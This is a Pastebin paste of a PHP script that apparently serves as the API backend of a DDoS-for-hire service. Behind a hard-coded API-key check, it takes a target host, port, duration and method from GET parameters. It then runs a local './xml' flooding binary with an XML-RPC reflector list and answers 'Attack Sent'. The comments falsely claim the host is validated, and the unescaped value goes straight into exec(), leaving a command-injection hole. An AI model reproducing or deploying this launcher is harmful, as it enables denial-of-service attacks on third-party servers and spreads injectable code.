Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * Thank you for using my source -AnonWorld
- */
- /*
- * Add any additional API keys to the array below
- */
- $api_keys = array(
- "key1",
- "key2",
- "key3",
- "key4"
- );
- /*
- * All methods are added into this list.
- */
- $methods = array(
- "XMLRPC",
- );
- if (isset($_GET['key'])) {
- if (!in_array($_GET['key'], $api_keys)) {
- echo "Invalid API key.";
- exit(0);
- }
- if (isset($_GET['method'])) {
- if (!in_array($_GET['method'], $methods)) {
- echo "Invalid ddos method..";
- exit(0);
- }
- if (isset($_GET["host"])) {
- if ((int) $_GET['time'] == 0) {
- echo "Input amount of time greater than zero.";
- exit(0);
- }
- if ((int) $_GET['port'] > 0 && (int) $_GET['port'] > 65536) {
- echo "Input a valid port.";
- exit(0);
- }
- $host = $_GET['host']; // we've checked if the IP is valid or not, so stuff here is not needed
- $port = $_GET['port']; // we've checked if the port is a number, and a valid one at that
- $time = $_GET['time']; // we've checked if the time is a number
- $method = $_GET['method']; // Grabs the method using GET.
- /// Attack methods are listed here.
- if ($method == "XMLRPC") {
- exec("./xml $host xmlrpc.list $time 1000 > /dev/null 2>/dev/null &");
- echo "<pre>Attack Sent</pre>";
- }
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement